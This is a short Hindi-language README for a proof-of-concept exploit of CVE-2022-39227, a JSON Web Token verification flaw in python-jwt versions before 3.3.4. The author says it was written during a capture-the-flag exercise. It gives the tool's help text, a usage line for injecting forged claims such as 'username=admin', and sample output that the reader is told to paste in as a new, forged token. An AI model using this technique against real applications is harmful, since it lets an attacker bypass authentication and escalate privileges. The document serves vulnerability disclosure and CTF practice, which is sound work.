
CVE-2022-39227 : अवधारणा प्रमाण
CVE-2022-39227 : प्रूफ ऑफ कॉन्सेप्ट
CVE-2022-39227 के लिए प्रूफ ऑफ कॉन्सेप्ट। इस CVE के अनुसार, JSON वेब टोकन सत्यापन में एक त्रुटि है। एक वैध टोकन के साथ संशोधित दावों (claims) के लिए उसके हस्ताक्षर का पुनः उपयोग करना संभव है।
आवश्यक:
उपयोग में आसानी के लिए मैंने एक CTF के दौरान एक सरल PoC लिखा:
usage: CVE-2022-39227-PoC [-h] -j TOKEN -i CLAIM
Proof of Concept for the JWT verification bug in python-jwt version < 3.3.4
options:
-h, --help show this help message and exit
-j TOKEN, --jwt_token TOKEN
Original and valid JWT Token returned by the application
-i CLAIM, --injected_claim CLAIM
Inject claim using the form "key=value", e.g. "username=admin". Use "," for more claims
(e.g. username=admin,id=3)
उपयोग:
python3 cve_2022_39227.py -j <JWT-WEBTOKEN> -i "<KEY>=<VALUE>"
परिणाम:
{" <SNIP>":"","protected":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"<SNIP>","signature":"18-caQyY-mnreIUb53kk5qI-axRoxSzQKyT033yOdUw"}
वापसी मान JSON और कॉम्पैक्ट प्रतिनिधित्व का एक मिश्रित रूप है। आपको पूरे मान को "{" और "}" सहित अपने नए JWT वेब टोकन के रूप में पेस्ट करना होगा।